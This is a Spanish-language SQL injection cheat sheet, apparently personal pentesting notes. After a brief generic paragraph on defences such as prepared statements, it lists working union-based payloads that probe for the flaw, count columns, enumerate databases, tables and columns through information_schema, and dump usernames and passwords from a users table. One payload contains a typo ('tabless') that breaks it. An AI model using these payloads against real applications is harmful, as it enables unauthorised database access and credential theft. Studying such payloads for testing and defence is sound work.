# SQLi

las inyecciones SQL representan una grave amenaza para la seguridad de las aplicaciones web. Estas vulnerabilidades pueden permitir a los atacantes obtener acceso no autorizado a bases de datos y comprometer información confidencial. Es fundamental que los desarrolladores implementen prácticas de seguridad sólidas para mitigar este riesgo.

La validación adecuada de la entrada del usuario y el uso de técnicas de defensa, como la sanitización de entrada y la preparación de consultas SQL, son medidas esenciales para prevenir las inyecciones SQL. Además, es importante mantenerse actualizado sobre las últimas técnicas de ataque y seguir las mejores prácticas de seguridad establecidas.

La seguridad debe ser una consideración fundamental en el desarrollo de aplicaciones web, y los desarrolladores deben trabajar en estrecha colaboración con expertos en seguridad para identificar y abordar posibles vulnerabilidades. Solo a través de una combinación de medidas preventivas, monitoreo constante y respuesta rápida ante posibles incidentes, podremos proteger eficazmente nuestras aplicaciones y datos de los ataques de inyección SQL.

## Payloads Basicos

Si retorna un error, es vulnerable.

```
'
```

Si aparece un valor normal, es porque existe solo una columna siendo leida.

```
' order by 1-- -
```

Recuerda probar con mas de una columna

```
' union select 1-- -
```

Nombre de la base de datos

```
' union select database()-- -
```

## Explorando la base de datos

Lista de bases de datos

```
' union select group_concat(schema_name) from information_schema.schemata-- -
```

Retorna una lista de tables de la base \<MyDB>

```
' union select group_concat(table_name) from information_schema.tabless where table_schema='MyDB'-- -
```

Devuelve un lista de columnas de la tabla "users"

```
' union select group_concat(column_name) from information_schema.columns where table_schema='MyDB' and table_name='users'-- -
```

Despues de explorar, puedes utilizar group\_concat para juntar el nombre de usuario con la contraseña

```
' union select group_concat(username,'%3A',password) from MyDB.users-- -
```
